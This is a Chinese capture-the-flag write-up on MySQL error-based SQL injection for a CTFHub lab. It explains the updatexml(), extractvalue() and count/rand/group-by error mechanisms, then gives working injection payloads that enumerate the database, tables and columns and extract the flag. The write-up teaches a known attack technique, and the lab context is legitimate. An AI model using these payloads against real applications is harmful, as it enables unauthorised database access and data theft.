CFTHUB 报错注入
一、报错注入原理
1.xml函数updatexml()
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;
该函数对XPath_string进行查询操作,如果符合语法格式要求,则用第三个参数替换,不符合语法格式
要求,则会报错并带出查询的结果
可以看到updatexml函数对于“”不能识别,“”的ASCII码对应的是0x7e。
2.xml函数之Extractvalue()
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
作用:从目标XML中返回包含所查询值的字符串;
与updatexml()函数相似,该函数对XPath_string进行查询操作,如果符合语法格式要求,则从目标XML中返回包含所查询值的字符串,
不符合语法格式要求,则会报错并带出查询的结果。
同样的extractvalue函数对于“~”也是不能识别的。
3.count(),rand(),goup by
这里关于rand()函数以及与count()联用的报错机制比较复杂,太多了懒得写在此引用别人的作为解释。原理
二、报错注入
1.使用updatexml进行报错注入
1.查询数据库名称
1 union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)
2.联合查询爆表名
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
3.联合查询爆字段
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e),1)
4.获取flag
1 union select 1,updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)
可以发现由于flag过长没有完全显示出来。然后选择查询右边的31位进行比对就可以获取全部flag了。
1 union select 1,updatexml(1,concat(0x7e,right((select flag from sqli.flag),31),0x7e),1)
2.使用extractvalue进行报错注入
1.查询数据库名称
1 union select extractvalue(1,concat(0x7e,(select database()),0x7e))
2.联合查询爆表名
1 union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))
3.联合查询爆字段
1 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e))
4.获取flag
有了上面使用updatexml经验直接进行左右查询
1 union select 1,extractvalue(1,concat(0x7e,left((select flag from sqli.flag),31),0x7e))
1 union select 1,extractvalue(1,concat(0x7e,right((select flag from sqli.flag),31),0x7e))
3.使用(count()、rand()、group by)联合报错注入
1.查询数据库名称
1 union select count(*),concat(database(),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x
也可以这么写
1 union select count(*),id from news group by concat((select database()),0x7e,floor(rand(0)*2))
2.联合查询爆表名
1 union select count(*),id from news group by concat((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x7e,floor(rand(0)*2))
1 union select count(*),id from news group by concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),0x7e,floor(rand(0)*2))
3.联合查询爆字段
1 union select count(*),id from news group by concat((select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' ),0x7e,floor(rand(0)*2))
4.获取flag
1 union select count(*),id from news group by concat((select flag from sqli.flag),0x7e,floor(rand(0)*2))
这里就不会出现前面flag获取不全的情况了。